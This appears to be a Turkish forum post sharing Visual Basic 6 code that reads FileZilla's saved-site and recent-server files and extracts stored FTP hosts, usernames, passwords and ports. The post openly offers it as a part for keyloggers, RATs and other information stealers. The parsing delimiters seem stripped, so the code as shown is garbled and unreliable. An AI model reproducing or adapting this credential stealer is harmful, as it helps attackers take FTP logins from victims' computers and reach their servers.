Surum : Visual Basic 6

Kodları Calıştırdığınız anda, Bilgisayarınızda FileZilla'dan Girilmiş Tum FTP Adreslerini Bir Msgbox Da Gorebilirsiniz.

Keylogger, rat ve benzeri bilgi calıcı programlarınızda kullanabilirsiniz.

PHP Code:
Public Function sFileZilla() As String
Dim sFile As String
Dim sFile2 As String
Dim sPath As String
Dim sCont() As String
Dim sHost() As String
Dim sUser() As String
Dim sPass() As String
Dim sPort() As String
Dim sServer() As String
Dim i As Long
Dim sResult As String
On Error Resume Next
sPath = Environ("appdata") & "\FileZilla\sitemanager.xml"
Open sPath For Binary As #1
sFile = Space(LOF(1))
Get #1, , sFile
Close #1
sPath = Environ("appdata") & "\FileZilla\recentservers.xml"
Open sPath For Binary As #1
sFile2 = Space(LOF(1))
Get #1, , sFile2
Close #1
sFile = sFile & vbCrLf & sFile2
sServer() = Split(sFile, "")
For i = 1 To UBound(sServer)
Erase sHost
Erase sUser
Erase sPass
Erase sPort
sCont() = Split(sServer(i), "")
sHost() = Split(sCont(1), "")
sCont() = Split(sServer(i), "")
sUser() = Split(sCont(1), "")
sCont() = Split(sServer(i), "
")
sPass() = Split(sCont(1), "")
sCont() = Split(sServer(i), "
")
sPort() = Split(sCont(1), "")
sResult = sResult & " Host : " & sHost(0) & StringDelimiter & " User : " & sUser(0) & StringDelimiter & " Pass : " & sPass(0) & StringDelimiter & " Port : " & sPort(0) & vbCrLf
Next i

sFileZilla = sResult
End Function

Private Sub Form_Load()
MsgBox sFileZilla
End Sub



__________________